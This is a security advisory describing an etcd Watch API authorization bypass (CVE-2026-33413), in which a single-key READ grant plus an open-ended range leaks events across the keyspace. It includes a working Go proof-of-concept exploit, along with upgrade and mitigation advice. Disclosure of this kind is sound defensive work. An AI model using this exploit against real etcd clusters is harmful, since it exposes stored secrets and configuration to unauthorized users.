highJul 24, 2026

CVE-2026-33413: etcd Watch API RBAC Authorization Bypass via Open-Ended Range

Rohit Hatagale
AI Security Researcher, SecureLayer7

A user with read permission on a single etcd key can use the Watch API with an open-ended range option to receive events for every key in the store, completely bypassing RBAC controls.

Packagego.etcd.io/etcd/v3
Ecosystemgo
Affected>= 3.7.0-alpha.0, < 3.7.1
Fixed in3.7.1
CVE-2026-33413: etcd Watch API RBAC Authorization Bypass via Open-Ended Range

The problem

etcd's RBAC enforcer (authApplierV3 in server/etcdserver/apply/auth.go) did not validate the RangeEnd field on incoming Watch requests. A Watch with clientv3.WithFromKey() sets RangeEnd to the special sentinel value "\x00", which means 'from this key to the end of the entire keyspace'.

The auth check only verified the caller held READ on the watch's start key. It never checked whether the resulting range exceeded the boundaries of the granted permission. Any authenticated user with a single-key READ grant could silently stream every key change in the cluster.

Proof of concept

A working proof-of-concept for this issue in go.etcd.io/etcd/v3, with the exact payload below.

go
package main

import (
	"context"
	"fmt"
	"log"

	clientv3 "go.etcd.io/etcd/client/v3"
)

// Attacker has READ permission on exactly one key: "allowed-key"
// Exploit: watch from "allowed-key" to end of keyspace using WithFromKey()
func main() {
	cli, err := clientv3.New(clientv3.Config{
		Endpoints: []string{"http://etcd-host:2379"},
		// credentials for a user granted READ only on "allowed-key"
		Username: "low-priv-user",
		Password: "password",
	})
	if err != nil {
		log.Fatal(err)
	}
	defer cli.Close()

	// WithFromKey() sets RangeEnd = "\x00" (open-ended: all keys >= start)
	// The server auth check only validates "allowed-key" is readable,
	// but never bounds-checks the RangeEnd against the granted permission.
	watchChan := cli.Watch(
		context.Background(),
		"allowed-key",
		clientv3.WithFromKey(), // RangeEnd = 0x00 => entire keyspace leaked
	)

	for resp := range watchChan {
		for _, ev := range resp.Events {
			// Receives events for ALL keys lexicographically >= "allowed-key"
			fmt.Printf("[%s] key=%s value=%s\n",
				ev.Type, ev.Kv.Key, ev.Kv.Value)
		}
	}
}

clientv3.WithFromKey() signals the server to watch from the given key to the end of the keyspace by setting the internal RangeEnd to a single null byte ("\x00"). Before the patch, authApplierV3.Watch only checked whether the caller held a permission covering the start key; it did not compare the watch's computed end boundary against the permission's own RangeEnd.

The fix adds a range-bounds check in the Watch authorization path so the effective watch range must fall entirely within the keys the caller is permitted to read. This is a classic CWE-863 (Incorrect Authorization) / permission scope confusion, analogous to the earlier nested-transaction RBAC bypasses in the same auth.go file.

The fix

Upgrade to etcd 3.7.1, 3.6.14, or 3.5.33. If immediate upgrade is not possible: audit all READ grants (any single-key grant is exploitable), and restrict network access to the etcd gRPC client port (default 2379) to trusted hosts only via firewall or network policy.

Reported by Luis Toro (@lobuhi) and Adam Korczynski (@AdamKorcz) / Anthropic.

References: [1][2][3][4][5][6]

Related research